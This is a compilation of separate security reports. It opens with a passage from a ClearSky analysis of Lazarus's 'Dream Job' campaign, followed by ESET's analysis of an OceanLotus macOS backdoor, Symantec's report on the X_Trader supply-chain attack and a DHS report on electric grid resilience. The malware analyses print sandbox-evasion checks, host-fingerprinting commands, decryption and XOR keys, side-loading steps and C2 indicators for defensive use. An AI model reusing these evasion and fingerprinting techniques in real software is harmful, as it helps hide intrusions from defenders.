We identified a plethora of obfuscation and concealment systems in this file, designed to avoid virtual machines or various Sandbox services. These systems allow the attackers to remain “under the radar” of security mechanisms and penetrate the organization, for example VMprotect.
These methods, in addition to the infection and social engineering processes, evidence a high level of effort put in to avoiding identification or detection. If the DLL detects an unwanted domain, or a mobile device file activation, it does not activate.
Further details regarding these files are available in a recent McAfee research.
## Third and Fourth Stages
### General Overview
The DLL unloads several PE EXE files, designated to install a group-developed Trojan Access Remote. During the preliminary research, we identified many resemblances to Bankshot, another self-developed RAT that was uncovered in 2018 by the US government. The resemblances diminished as following files were identified.
During the course of researching companies which were attacked, we observed the successful installation of hacking tools in two cases, meaning that the Trojan was able to exfiltrate data from the infected computers. The installed files only operate using specific parameters, which made the investigation much more challenging.
### Technical Analysis
Three actions related to the RAT installation are performed at this stage:
- An EXE bearing the name of a general-purpose software is unloaded, operating as the Dropper for the RAT.
- The RAT itself is deployed.
- A variant of the RAT that is capable of additional operations is also deployed.
Initially, a preliminary EXE is unloaded, bearing an innocuous name such as IExplorer.exe and packed using UPX. This file has a single designation, which is to deploy two additional files. The first is the RAT and the second is designed to be a backup on the machine in addition to a few other operations. The RAT is sometimes named Flash.exe. We named this RAT DRATzarus.
The IExplorer file impersonates a legitimate Explorer client. The file’s code is meager, yet encompasses many detection avoidance techniques, as detailed:
- Sleep: the capability to remotely shut down the tool or automatically shutting it down locally under specific conditions.
- IsDebuggerPresent: this is one of the most familiar Anti-Debug functions in the API Calls category. The infected machine is examined using API for specific flags in PEB that are designed to detect whether a Debugger is present, and if a debugging process was initiated (common in Sandbox systems).
- GetTickCount: another Anti-Debug function that conducts function timing, meaning measuring the time necessary for different operations. In case of an elongated process time, the operations are halted to prevent their decryption.
- GetSystemTimeAsFileTime: similar to GetTickCount.
The code is also partly encrypted with XOR.
Please note that the file’s header is MZ, while the header PE appears after the XOR encryption, also signifying an executable. The file uses Invoker privileges instead of Admin or higher to install the RAT, using the next code segment:
```
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
```
The RAT is unloaded to the desktop, according to the following PDB path located by ClearSky analysts:
```
C:\Users\joe-user\Desktop\3zvQ751hQF.exe
```
Our continued research of the files exposed a version of this RAT from 2019. Comparing the code, we located amongst the company’s clients with the code from Virus Total we identified at least 22 DIFF function results that attest to identical segments. Most of the code is identical apart from differing obfuscation systems.
The RAT’s main operationality is to deploy additional attack tools, while these are partly open source and partly commodity software, to enable further activity on the infected machine. Seeing as previous iterations by the group did not utilize publicly available tools.
Communication with the C2 is performed using HTTP or HTTPS protocols (ports 80 or 443) instead of DNS queries. When comparing the later files’ source code from GitHub it becomes apparent that it mostly congregates with the APT Lazarus.
The executable mostly does not perform lateral movement, focusing on initially examining and categorizing the infected machine. For example, the R table is scrutinized to detect whether the machine exists in the target domain and what other machines are connected to the network (including detecting whether other machines are accessible). Further examined details are whether Shell can be installed, which users exist on the infected machine, and an attempt to map the network is made. No fully active operations take place.
During our research, we did not identify external to internal network movement (this includes the file’s inability to be installed on a removable USB), however these capabilities are still in the realm of possibility.
## Fifth Stages – Additional Tools
When we arrive at this phase, the attackers have installed the RAT and now have control of the infected machine. Unlike common Trojan Access Remote applications by the group, this scenario mainly entails deploying public files, partly open source and partly commodity software. Many of the files are taken from the NirSoft tool kit. Several examples:
- Responder: an open-source tool that is used for Poisoner mDNS/LLMNR/NBT-NS, which is downloadable from GitHub. The tool enables structured authentication of MSSQL servers among other capabilities.
- Wake-On-Lan: a NirSoft tool that enables remotely turning machines on and off through sending a Wake-On-Lan package to a remote machine.
- ChromePass: a NirSoft tool that enables the extraction of credentials from Google Chrome.
It is apparent that these operations are performed after unsuccessfully attempting to conduct actions on the infected machine, and that the attackers are prepared to invest in attack tools in place of self-developing them (possibly in an effort to save development time, or lowered OPSEC at failed instances of attack).
## Attribution
### Introduction
‘Dream Job’ is an extensive attack infrastructure used in an operation against tens of targets in the Middle East and worldwide in the past year. We affiliate the operation with high confidence to The Korean APT group Lazarus. The group has been actively targeting companies affiliated with the defense sector over the past few years.
In 2019, ClearSky researchers revealed an attack attempt against an Israeli security company carried out by the group. The attack was revealed by ClearSky researchers in collaboration with research colleagues, by affiliating an EML file containing a malicious attachment which was uploaded to VirusTotal by an employee of a sensitive security company in Israel. The attachment contained an archive RAR file vulnerable to a zero-day flaw. An investigation of the source code of the malicious file using the Intezer Malware Analysis engine revealed a great overlap with code used by Lazarus. ClearSky analysts have been monitoring the group activity since the exposure of this operation, which marked the first attack of a North Korean APT group against an Israeli target.
In June 2020, ESET published research whose findings aided our current investigation. In the following chapter, we will review the attribution of the attack group from several aspects – code overlap, operational similarities, TTPs, and victim profiles.
### Code Overlap
Code overlap can be divided into two types – an overlap in the source code of the attack tools – as well as similarities to other attack tools used by the group – and in the attack methods used in this operation compared to previous ones.
#### Source Code Overlap
In 2019, a Lazarus campaign which focused on career job seekers was published and was dubbed ‘Falsified Job Recruitment.’ A comparison between the source code of the dll files found during the investigation of the 2019 campaign, and those analyzed by our researchers in the current research, reveals a great similarity between the files. Additionally, over 11.5% of the source code of the RAT found during the current investigation is identical to a code commonly used by Lazarus.
One of the characteristics of the campaign covered in this report is the use of a packer – a tool designed to pack the source code for detection evasion – called Themida. This packer is commonly used by Lazarus as well as sub-groups such as Andariel. Although a packer available online can be used by multiple groups, it appears that Lazarus uses the Themida packer regularly. Another similarity pointed out by ESET researchers is a source code similarity with the NukeSped tool, previously affiliated with Lazarus. According to ESET, the headers and ‘code-flattening’ techniques identified in the 2019 campaign were also observed in several past campaigns and are similar to those of the NukeSped tool as well.
### Similarities to known Lazarus Attack Tools and Advancement of Known Attack Methods
New Attack Techniques revealed in July 2020 by McAfee, operation North Star revolved around one out of three of the attack methods presented in this report. McAfee researchers affiliated the North Star operation with the Lazarus APT based on the great similarity in the modus operandi of the operation to that of previous Lazarus campaigns researched by the company between 2017 and 2019. The greatest code overlap, however, can be observed in the Visual Basic code which forms the malicious macros in the first and second attack methods presented here, compared to that used in Lazarus campaigns between 2017 and 2019. |
# OceanLotus: macOS Malware Update
Latest ESET research describes the inner workings of a recently found addition to OceanLotus’s toolset for targeting Mac users.
Early in March 2019, a new macOS malware sample from the OceanLotus group was uploaded to VirusTotal, a popular online multi-scanner service. This backdoor executable bears the same features as the previous macOS variant we looked at, but its structure has changed and its detection was made harder. Unfortunately, we couldn’t find the dropper associated with this sample, so we do not know the initial compromise vector.
We recently published a detailed update about OceanLotus and how its operators employ a wide range of techniques to gain code execution, achieve persistence, and leave as little trace as possible on a Windows system. OceanLotus is also known to have a malicious macOS component. This article details what has changed from the previous macOS version analyzed by Trend Micro and describes how, while analyzing this variant’s code, you can automate string decryption using the IDA Hex-Rays API.
## Analysis
The following three sections of this blog post describe the analysis of the sample with the SHA-1 hash E615632C9998E4D3E5ACD8851864ED09B02C77D2. The file is named flashlightd and is detected by ESET products as OSX/OceanLotus.D.
### Anti-debug and anti-sandbox
As usual for OceanLotus macOS binaries, the sample is packed with UPX, but most packer identification tools do not recognize it as such, probably because they mostly include a signature that relies on the presence of a “UPX” string, and further, Mach-O signatures are less common and not as regularly updated. This particular characteristic makes static detection more difficult. Once unpacked, one interesting thing is that the entry point is located at the beginning of the __cfstring section in the .TEXT segment. This section has the flag attributes seen in the analysis.
When run, the binary first creates a thread as an anti-debugging watchdog whose sole purpose is to continuously check if a debugger is present. In order to do that, this thread:
- Tries to detach any debugger by calling ptrace with PT_DENY_ATTACH as a request parameter.
- Checks if some exception ports are open by calling the task_get_exception_ports function.
- Checks if a debugger is attached by verifying if the P_TRACED flag is set in the current process.
If the watchdog detects that a debugger is present, the exit function is called. Moreover, the sample then checks its environment by issuing the following two commands:
- `ioreg -l | grep -e “Manufacturer”`
- `sysctl hw.model`
It checks the return value against a hardcoded list of known virtualization system strings: oracle, vmware, virtualbox, or parallels. Finally, it checks if the machine is one of the following: “MBP”, “MBA”, “MB”, “MM”, “IM”, “MP”, and “XS”. These codes represent the model of the system. For instance, “MBP” stands for MacBook Pro, “MBA” stands for MacBook Air, and so on.
### Major updates
Even though the backdoor commands have not changed since the Trend Micro article, we noticed a few other modifications. The C&C servers used for this sample are quite recent as their creation date is 2018-10-22.
- daff.faybilodeau[.]com
- sarc.onteagleroad[.]com
- au.charlineopkesston[.]com
The URL resource used has changed to `/dp/B074WC4NHW/ref=gbps_img_m-9_62c3_750e6b35`.
The first packet that is sent to the C&C server contains more information regarding the host machine. All data gathered by the commands in the following table are included.
| Commands | Description |
|----------|-------------|
| `system_profiler SPHardwareDataType 2>/dev/null | awk '/Processor / {split($0,line,":"); printf("%s",line[2]);}'` | Gather processor information |
| `system_profiler SPHardwareDataType 2>/dev/null | awk '/Memory/ {split($0,line, ":"); printf("%s", line[2]);}'` | Gather memory information |
| `ifconfig -l` | Gather network interface MAC addresses |
| `ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformSerialNumber/ { split($0, line, "\""); printf("%s", line[4]); }'` | Retrieves the serial number of the device |
On top of this configuration change, this sample does not use the libcurl library for network exfiltration. Instead, it uses an external library. To locate it, the backdoor tries to decrypt each file in the current directory using AES-256-CBC with the key `gFjMXBgyXWULmVVVzyxy` padded with zeroes. Each file is “decrypted” and saved as `/tmp/store`, and an attempt to load it as a library is made using the `dlopen` function. When a decryption attempt results in a successful call to `dlopen`, the backdoor then retrieves the exported functions Boriry and ChadylonV, which seem to be responsible for the network communication with the server.
As we do not have the dropper or other files from the original sample’s location, we could not analyze this library. Moreover, since the component is encrypted, a YARA rule based on these strings would not match the file found on disk.
As described in the analysis of the group’s previous macOS backdoor, a clientID is created. This identifier is the MD5 hash of the return value of one of the following commands:
- `ioreg -rd1 -c IOPlatformExpertDevice | awk ‘/IOPlatformSerialNumber/ { split($0, line, “\””); printf(“%s”, line[4]); }’`
- `ioreg -rd1 -c IOPlatformExpertDevice | awk ‘/IOPlatformUUID/ { split($0, line, “\””); printf(“%s”, line[4]); }’`
- `ifconfig en0 | awk '/ether /{print $2}'` (obtain the MAC address)
- an unknown command (“\x1e\x72\x0a“) which used to be “uuidgen” in the previous samples.
Before being hashed, the character “0” or “1” is appended to the return value indicating root privileges. This clientID is stored in `/Library/Storage/File System/HFS/25cf5d02-e50b-4288-870a-528d56c3cf6e/pivtoken.appex` if the code runs as root, or in `~/Library/SmartCardsServices/Technology/PlugIns/drivers/snippets.ecgML` otherwise. This file is normally hidden via the `_chflags` function, and its timestamp is modified using the “touch –t” command with a random value.
### String decryption
Like previous variants, the strings are encrypted using AES-256-CBC (hex-encoded key: `9D7274AD7BCEF0DED29BDBB428C251DF8B350B92` padded with zeroes and the IV is filled with zeroes) using the `CCCrypt` function. The key has changed from previous versions, but since the group is still using the same algorithm to encrypt strings, decryption could be automated. Along with this article, we are releasing an IDA script leveraging the Hex-Rays API to decrypt the strings present in the binary. This script may help future analysis of OceanLotus and the analysis of existing samples that we have not yet been able to obtain.
At the core of this script lies a generic method to obtain the arguments passed to a function. Moreover, it looks for the parameter assignments in order to find their values. This method could be reused to retrieve the list of arguments of a function and then pass them to a callback.
Knowing the prototype of the decrypt function, the script first finds all cross-references to this function, finds all the arguments, decrypts the data, and puts the plaintext inside a comment at the address of the cross-reference. In order for the script to work correctly, the custom alphabet used by the base64 decode function must be set in the script, and the global variable containing the length of the key must be defined (as a DWORD in this case).
In the Function window, you can right-click the decryption function and click “Extract and decrypt arguments”. The script should put the decrypted strings in comments.
## Conclusion
As recently documented in another of our articles, the OceanLotus group keeps improving and updating its toolset, and once again, it has improved its tools for targeting Mac users. The code has not changed that much, but because many Mac users don’t run security software on their machines, the need to evade detection is of less importance. ESET products already detected this file when we found it. Since the network library used for the C&C communication is now encrypted on the disk, the exact network protocol used remains unknown.
## Indicators of Compromise (IoCs)
### Domain names
- daff.faybilodeau[.]com
- sarc.onteagleroad[.]com
- au.charlineopkesston[.]com
### URL resource
- `/dp/B074WC4NHW/ref=gbps_img_m-9_62c3_750e6b35`
### File paths
- `~/Library/SmartCardsServices/Technology/PlugIns/drivers/snippets.ecgML`
- `/Library/Storage/File System/HFS/25cf5d02-e50b-4288-870a-528d56c3cf6e/pivtoken.appex`
- `/tmp/store`
### Sample analyzed
- **Name:** flashlightd
- **SHA-1 hash:** E615632C9998E4D3E5ACD8851864ED09B02C77D2
- **ESET detection name:** OSX/OceanLotus.D
### MITRE ATT&CK techniques
| Tactic | ID | Name | Description |
|--------|----|------|-------------|
| Defense Evasion | T1158 | Hidden Files and Directories | The backdoor hides the clientID file via chflags function. |
| Command and Control | T1094 | Custom Command and Control Protocol | The backdoor implements a specific format for the packet involving random values. See Trend Micro article. |
| Discovery | T1082 | System Information Discovery | The backdoor performs a fingerprint of the machine on its first connection to the C&C server. |
| Exfiltration | T1022 | Data Encrypted | The backdoor encrypts the data before exfiltration. |
| Defense Evasion | T1107 | File Deletion | The backdoor can receive a “delete” command. |
| Defense Evasion | T1222 | File Permissions Modification | The backdoor changes the permission of the file it wants to execute to 755. |
| Defense Evasion | T1027 | Obfuscated Files or Information | The library used for network exfiltration is encrypted with AES-256 in CBC mode. |
| Defense Evasion | T1099 | Timestomp | The timestamp of the file storing the clientID is modified with a random value. | |
# X_Trader Supply Chain Attack Affects Critical Infrastructure Organizations in U.S. and Europe
The X_Trader software supply chain attack affected more organizations than 3CX. Initial investigation by Symantec’s Threat Hunter Team has, to date, found that among the victims are two critical infrastructure organizations in the energy sector, one in the U.S. and the other in Europe. In addition to this, two other organizations involved in financial trading were also breached.
As reported yesterday by Mandiant, Trojanized X_Trader software was the cause of the 3CX breach, which was uncovered last month. As a result of this breach, 3CX’s software was compromised, with many customers inadvertently downloading malicious versions of the company’s voice and video calling software DesktopApp. In addition to wider victims, Symantec has also discovered additional indicators of compromise.
It appears likely that the X_Trader supply chain attack is financially motivated, since Trading Technologies, the developer of X_Trader, facilitates futures trading, including energy futures. Nevertheless, the compromise of critical infrastructure targets is a source of concern. North Korean-sponsored actors are known to engage in both espionage and financially motivated attacks, and it cannot be ruled out that strategically important organizations breached during a financial campaign are targeted for further exploitation.
## Malicious Installer
The infection chain starts with the Trojanized installer named `X_TRADER_r7.17.90p608.exe` (SHA256: `900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6`), which is digitally signed by "Trading Technologies International, Inc." and contains a malicious executable named `Setup.exe`. Our analysis of one version of this executable (SHA256: `aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43`) found that when executed, it examined the file named `X_TRADER-ja.mst` (also contained in the installer) for the following marker bytes at hardcoded offset `0x167000`: `5E DA F3 76`. If the marker bytes are present, it creates a folder named `C:\Programdata\TPM`. It then copies the file `C:\Windows\Sysnative\immersivetpmvscmgrsvr.exe` as `C:\Programdata\TPM\TpmVscMgrSvr.exe` to the new folder.
Next, it will drop two malicious DLLs:
- `C:\Programdata\TPM\winscard.dll` (SHA256: `cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2`)
- `C:\Programdata\TPM\msvcr100.dll` (SHA256: `d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0`)
The content of the dropped files is generated by decrypting chunks of the file `X_TRADER-ja.mst` mentioned earlier using the XOR algorithm with the following key: `74 F2 39 DA E5 CF`. To achieve persistence on the victim’s system, the malware invokes a `CLSID_TaskScheduler` COM object, possibly to create a scheduled task to run periodically the following file: `C:\Programdata\TPM\TpmVscMgrSvr.exe`. `Setup.exe` then drops a file named `X_TRADER.exe`, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset `0x1CB40` using the XOR algorithm with the same key: `74 F2 39 DA E5 CF`. `Setup` will then execute `X_Trader.exe` before deleting itself.
## Backdoor Installation
Once installed, the legitimate `X_Trader` executable side-loads the two malicious DLLs dropped by the installer. The first, `winscard.dll`, acts as a loader and contains code that will load and execute a payload from the second (`msvcr100.dll`). The `msvcr100.dll` file contains an encrypted blob appended to the file. The blob starts with the hex value `FEEDFACE`, which the loader uses to find the blob.
The process for payload installation is almost identical to that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob. In this attack, the payload extracted is a modular backdoor called `Veiledsignal` (SHA256: `e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345`). `Veiledsignal` contains another DLL (SHA256: `19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae`), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: `f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce`), which is a command-and-control (C&C) module. It connects to the following C&C URL: `https://www.tradingtechnologies.com/trading/order-management`.
## Hydra-like Campaign
The discovery that 3CX was breached by another, earlier supply chain attack made it highly likely that further organizations would be impacted by this campaign, which now transpires to be far more wide-ranging than originally believed. The attackers behind these breaches clearly have a successful template for software supply chain attacks, and further, similar attacks cannot be ruled out.
## Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
## Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
- `900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6` - Trojanized installer (`X_TRADER_r7.17.90p608.exe`)
- `6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba` – Possible Trojanized installer
- `aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43` - Malicious component of Trojanized installer (`setup.exe`)
- `6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378` - Malicious component of Trojanized installer (`setup.exe`)
- `47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1` - Benign Windows executable used for side-loading (`tpmvscmgrsvr.exe`)
- `cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2` – Veiledsignal loader (`winscard.dll`)
- `277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e` – Veiledsignal loader (`devobj.dll`)
- `cb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f` – Malicious DLL (`msvcr100.dll`)
- `d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0` – Malicious DLL (`msvcr100.dll`)
- `e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345` - Veiledsignal main component
- `19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae` - Veiledsignal process-injection module
- `f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce` - Veiledsignal communications module
- `https://www.tradingtechnologies.com/trading/order-management` - Veiledsignal C&C server
- `\\.\pipe\gecko.nativeMessaging.in.foo8bc16e6288f2a` - Veiledsignal named pipe
- `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40` - Veiledsignal user agent
## About the Author
Threat Hunter Team
Symantec
The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks. |
# Sector Resilience Report: Electric Power Delivery
**June 11, 2014, 1015 EDT**
## SCOPE
The Department of Homeland Security Office of Cyber and Infrastructure Analysis (DHS/OCIA) produces Sector Resilience Reports to improve partner understanding of the interdependencies and resilience of certain sectors. Specifically, this report provides a brief overview of the electric power system and analysis of key electric power system dependencies and interdependencies. Additionally, this product includes an assessment of best practices for improving community, system, and facility resilience. This Sector Resilience Report was produced to complement other sector-specific guidance, analysis, and scholarly papers on infrastructure resilience by applying data obtained from DHS site visits and assessments analyzing the resilience of critical infrastructure assets and systems.
The resilience issues and best practices identified in this document may be considered by critical infrastructure partners in each sector to improve their resilience at three levels: electric power provider systems and facilities, community risk management organizations (e.g., State or local emergency operations centers or fusion centers), and any critical infrastructure asset or system that depends on electric power. This product was coordinated with the DHS Office of Infrastructure Protection, the Department of Energy (DOE), and the Federal Energy Regulatory Commission (FERC).
## KEY FINDINGS
- Of the 3,352 sites across all 16 sectors that received DHS assessments (2009–2012), 90 percent depend on electric power for core operations.
- Critical dependencies and interdependencies of the Energy Sector mean that the loss of electric power can quickly cascade to other lifeline infrastructure systems (including Water, Wastewater, Communications, Transportation, and Information Technology (IT)), potentially degrading services necessary for public health and safety.
- Of the 41 electric power substations assessed by DHS, 59 percent depend upon an external source of electric power for on-site operations, 62 percent depend on communications, and 77 percent depend on IT to maintain operations.
- Interruption to IT supporting infrastructures, including the loss of electric power, could limit the operating flexibility and efficiency of electric substations and system monitoring equipment. A large-scale IT disruption could potentially impact power delivery to other critical infrastructure assets in the electric service area.
## ELECTRIC POWER DELIVERY SYSTEMS OVERVIEW
The U.S. electric power delivery system is a highly complex network of substations and electric lines that transport electricity from generators to residential, commercial, and industrial consumers. For this report, the electric power delivery system includes all components between the point where power is injected into the grid and the point where the power enters the customer’s premises.
The contiguous 48 States, most of Canada, and parts of Mexico are served by a bulk power system comprising more than 200,000 miles of high-voltage transmission lines (230 kilovolts (kV) or greater), tens of thousands of miles of distribution lines operated at lower voltages, and an estimated 100,000 substations from which power is ultimately directed to customers. To facilitate efficient transfer over long distances, electricity produced at a power plant is first directed to step-up transformers located in transmission substations, where the voltage is increased and then introduced into the transmission grid.
When the power arrives near a distribution territory, step-down transformers located in distribution substations reduce the voltage and transfer the power to the distribution grid along smaller distribution lines that are buried or carried on poles. Transformers located closer to individual customers, often on poles, further reduce the voltage to meet each customer’s demand. Substations at both the transmission and distribution levels are strategically interconnected, giving operators multiple pathways by which to deliver power to meet individual loads and greatly enhancing the overall resilience of the electrical transmission and distribution networks.
## RESILIENCE
The common themes shared in this report are drawn from data obtained from DHS site visits, including the Enhanced Critical Infrastructure Protection (ECIP) Initiative, analysis produced by the Regional Resiliency Assessment Program (RRAP), and information gleaned from industry reports and academic research. This paper summarizes results from numerous infrastructure assessments that examine vulnerabilities, threats, and potential consequences from an all-hazards perspective, leading to the identification of dependencies, interdependencies, cascading effects, and resilience characteristics.
Since 1996, the critical infrastructure community has evolved from a primary focus on protective security to a greater emphasis on resilience to disruptive events. National policies, such as Presidential Directives (PPDs) 8 and 21, highlight that collaborative engagement and information sharing with Federal agencies, private sector facility owners and operators, law enforcement, emergency response organizations, academic institutions, and other stakeholders are vital to building a more resilient Nation.
## THREATS AND HAZARDS
The electric power delivery system faces a broad range of potential threats and hazards, ranging from cyberattacks to a variety of natural hazards, including various weather-related phenomena. Electricity infrastructure is highly automated and controlled by utilities and regional grid operators that rely on sophisticated industrial control systems. These control systems may be vulnerable to cyberattacks that could potentially disrupt electric power production or transmission. Accidents or physical attacks on electric power infrastructure, such as targeted shooting of transformers or intentional downing of power lines, also pose a threat for the Sector’s continued reliable operations. Natural events such as hurricanes, earthquakes, winter storms, wildfires, and solar flares also present a significant hazard to the electric power system, as these events occur regularly and have the capacity to cause extensive and widespread damage. Such threats and hazards can cause extensive damage to electric power systems, but due to system resiliency, the effects may not result in significant power outages.
In 2012, the U.S. transmission grid experienced 2,068 sustained automatic outages, which lasted for a total of 71,822 hours. The U.S. Energy Information Administration’s (EIA’s) 2014 Electric Power Annual reports that sustained outages on the transmission-level grid were primarily caused by equipment failure, weather, and human error.
## DEPENDENCIES, INTERDEPENDENCIES, AND POTENTIAL IMPACTS
The resilience of a community or region is a function of the resilience of its subsystems, including its critical infrastructure, economy, civil society, and governance (including emergency services). Resilience can be highly complex due to the dependencies and interdependencies that exist within infrastructure systems, the regions they serve, and the potential for cascading consequences. The loss of electric power within a community can happen at any time as the result of faulty equipment, severe weather, flooding, cyberattack, vegetation control, accident, or sabotage. The loss of electric power is not just an inconvenience for the utility customers. Its impacts can quickly cascade to other lifeline systems, including the Water and Wastewater System Sector, Communications, Transportation, and IT, resulting in the loss of services necessary to the community’s economy, public health, and safety. Backup power supplies can mitigate these cascading effects in some cases. Understanding these dependencies and interdependencies are important keys to building and maintaining resilient electric power delivery systems.
Electric power substations are an important component of the electric power delivery system and provide a useful study of the system’s dependencies and interdependencies. The following sections will discuss the dependencies of substations on three critical infrastructure services—electric power, communications, and IT—and the dependencies of other critical infrastructure on the electric delivery system. DHS assessment data from the RRAP and the Enhanced Critical Infrastructure Protection (ECIP) program, in which DHS partners with State and local agencies and the private sector to conduct voluntary assessments of a large number of critical infrastructure facilities, was analyzed to determine potential dependencies and resilience of the electric power delivery system.
## ELECTRIC POWER SUBSTATIONS
Since January 2011, DHS has conducted 41 assessments of distribution and transmission substations to collect data on substation dependencies and resilience. Of the 41 substations assessed, 59 percent depend upon an external source of electric power for on-site operations, 62 percent depend on communications, and 77 percent depend on IT to maintain operations. Electric power, required to operate substation automated switches and supervisory control and data acquisition (SCADA) equipment, is often provided from a station service line, rather than from the power passing through the station. Any interruption to these control systems, including the loss of electric power, can mean the loss of substation functionality and the potential subsequent loss of power to other critical infrastructure assets (e.g., to communication and IT facilities; a critical infrastructure interdependency).
There are many factors that determine the criticality of a particular substation. How a substation is connected to the facilities that it serves or to the surrounding transmission system affects its role and contribution to the overall resilience of the interconnected grid. For example, a substation that acts as a single source of electric power to a critical facility is more important to operations than a substation that is connected in a looped fashion with other substations and the critical facility. Similarly, a transmission substation that is connected with other surrounding substations and transmission lines may be less critical if disrupted.
Fifty-four percent of all the substations assessed by DHS that depend on external electric power have backup electric generation. Further, substations that have no backup generation capability, 15 percent of the 41, would be expected to experience 67 to 99 percent degradation in operations. Of those substations that depend on communications to operate, 89 percent have alternate or redundant capability and could maintain at least 67 percent of their full operations. However, of those substations that depend on external IT services, only 13 percent could maintain at least 67 percent of full operations if IT services were lost.
Recovery may require considerable time and effort to restore a substation’s significant assets to full operation depending on what equipment is damaged. Substations include transformers, circuit breakers, disconnect switches, bus-bars, shunt reactors, shunt capacitors, current and potential transformers, and control and protection equipment. Among the more difficult to replace and repair components include high-voltage transformers and circuit breakers. There are also switches and circuit breakers located elsewhere throughout the delivery system, not necessarily at substations, that are essential for isolating (de-energizing) segments of the network for inspections and repairs. Depending on the variables such as extent of damage and availability of equipment and personnel, full restoration of a substation can take from 9 days to more than 1 year.
## IMPACTS TO CRITICAL INFRASTRUCTURE FROM LOSS OF ELECTRIC POWER
Impacts from the loss of electric power vary greatly depending on the severity and location of the loss within the system. Isolated incidents at a single distribution substation, or along individual distribution lines, can create localized outages that may last several hours. An incident at a transmission or subtransmission substation, or along a high-voltage transmission line, can create more widespread and significant impacts if appropriate protective measures outlined in contingency plans and operating guides are not achievable by system operators. The loss of multiple substations and lines, which can occur during a large-scale weather event like a hurricane, may result in the loss of electricity to millions of customers. As a result of the diversity of impacts from disrupted substations or transmission lines, restoration of the power transmission and distribution system can take days to weeks, depending on the ability to bypass damaged substations or disrupted lines using the built-in resilience of the interconnected grid. Historically, the loss of electric power delivery systems has resulted in some degree of cross-sector impacts, particularly to other lifeline systems.
The data that was collected shows up to 33 percent of water treatment plant operations could be immediately degraded due to loss of external electric power. DHS infrastructure site assessments indicated that 91 percent of water treatment plants and 82 percent of wastewater treatment plants have backup generators. Failure of both external electric power and backup power systems can result in severe consequences for water treatment systems. For example, in 2011, power outages during Hurricane Irene on the East Coast and the October snowstorm in the New England area resulted in a combined total of 50 sewage spills that discharged millions of gallons of untreated or partially treated sewage into Connecticut’s waterways when backup power systems failed at a number of facilities.
Due to the dependencies and interdependencies of critical infrastructure sectors, cascading failures are a potential consequence of any incident. An example of a cascading failure is when wastewater treatment systems fail due to a power outage and discharge untreated or partially treated sewage to waterways that supply raw water to downstream drinking water treatment plants. If a downstream water treatment plant does not have a disinfection process capable of treating contaminated raw water, drinking water supplies will also be impacted—even if that plant has electric power.
Communication switching facility operations can be severely degraded due to a loss of external electric power. Although 71 percent of communication facilities that DHS assessed have backup generators to maintain switching functions, a prolonged electric outage requires the delivery of fuel. In addition, although many cell towers may have battery backup, such systems will last from a few hours to a day. IT facilities may have uninterruptible power supplies (UPSs), but these too are of limited duration. DHS data indicates that 88 percent of IT data management facilities surveyed use UPSs to maintain operations.
DHS infrastructure assessments of road transportation, specifically tunnels, indicate that up to 33 percent of assets would experience immediate functional degradation from a loss of external electric power. Roadway tunnels are dependent on electric power for core operations (e.g., lighting, traffic control equipment, and ventilation). While most assets have some type of backup generator, complete power loss could impact traffic levels to keep carbon monoxide at a safe level. Traffic flow would also cease in tunnels if water began to enter the tunnels due to water pump power loss.
## RESILIENCE ISSUES AND BEST PRACTICES
Table 1 presents commonly observed resilience issues and best practices summarized for three categories of users: electric power provider systems and facilities, community risk management organizations (i.e., State or local emergency operation centers or fusion centers), and any critical infrastructure asset or system that depends on electric power (i.e., electric power customers). The issues and best practices listed were identified in RRAPs and from among the results of the ECIP assessments, as well as general literature reviews. The information is meant for general application across the electric power delivery system, impacted sectors, and customers. The resilience issues and best practices identified may apply to other regions, other facilities, or other types of facilities.
### FOR ELECTRIC POWER PROVIDER SYSTEMS AND FACILITIES
- Electric utilities may have issues with equipment failures that impact rapid response and recovery.
- Continue with Smart Grid programs and develop capital improvement plans that incorporate Smart Grid technology over time as aging equipment is replaced or retrofitted.
- The electric distribution grid may lack adequate design redundancies.
- Use flow modeling to identify areas that can be impacted by single points of failure. In coordination with the State Homeland Security agency, identify lifeline system assets within the potentially impacted service territory and work with those assets to identify measures that can be taken to mitigate outages.
- Review restoration plans and resources to determine the availability of specialized equipment, crews, and materials.
- Consult with State officials to determine whether the State can support transmission network upgrade projects through emergency or reliability programs.
- High-consequence substations may not have the latest technology.
- Conduct a cost-benefit analysis that examines the application of automated intelligent switching to the transmission lines supporting high-consequence substations.
